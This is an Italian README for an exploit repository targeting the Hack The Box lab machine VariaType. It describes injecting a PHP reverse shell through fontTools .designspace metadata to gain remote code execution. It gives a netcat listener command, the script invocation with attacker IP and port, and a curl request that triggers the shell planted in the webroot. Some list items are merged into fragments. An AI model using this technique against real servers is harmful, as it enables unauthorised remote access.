
Exploit per la macchina VariaType HTB sfruttando XML injection in fontTools per ottenere RCE tramite payload PHP reverse shell nei metadati .designspace.
Questo repository contiene un exploit specializzato per la macchina VariaType su Hack The Box. L'exploit sfrutta una vulnerabilità nel modo in cui la libreria fontTools o l'applicazione web gestisce i file XML .designspace e l'interpolazione dei metadati per ottenere Esecuzione Remota di Codice (RCE).
La vulnerabilità risiede nel processo di generazione dei font. Creando un file designspace malevolo, possiamo iniettare un payload di reverse shell PHP nei metadati del font (in particolare nel campo <labelname>). Quando il server elabora questi file per generare un font variabile, scrive l'output in un percorso definito dall'utente, permettendoci di depositare una shell .php nella webroot.
source-light.ttf e source-regular.ttf usando fontTools.designspace malevolo con un payload PHP racchiuso in CDATA..php nella directory pubblica.È necessario avere Python 3 installato insieme alle seguenti librerie:
pip install fontTools requests
Sulla tua macchina locale (o Pwnbox), avvia un listener Netcat:
nc -lvnp 4444
Esegui lo script fornendo il tuo IP VPN HTB e la porta del listener:
python3 exploit.py --ip <YOUR_IP> --port 4444
Se l'upload restituisce un 200 OK (o a volte anche un 500 se l'elaborazione avviene prima dell'errore), lo script fornirà il nome del file. Accedilo tramite curl o il tuo browser:
curl http://portal.variatype.htb/shell_xxxxxx.php
| Argomento | Descrizione | Default |
|---|---|---|
--ip | Il tuo IP listener (VPN) | Obbligatorio |
--port | La tua porta listener | Obbligatorio |
--path | Percorso di destinazione per la shell | /var/www/portal.variatype.htb/public |
--url | L'endpoint di upload | http://variatype.htb/tools/.../process |
Questo script è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati. Accedere o attaccare target senza previa autorizzazione è illegale.
README.md nella stessa cartella del tuo script.exploit.py o aggiorna il nome del file nei comandi sopra.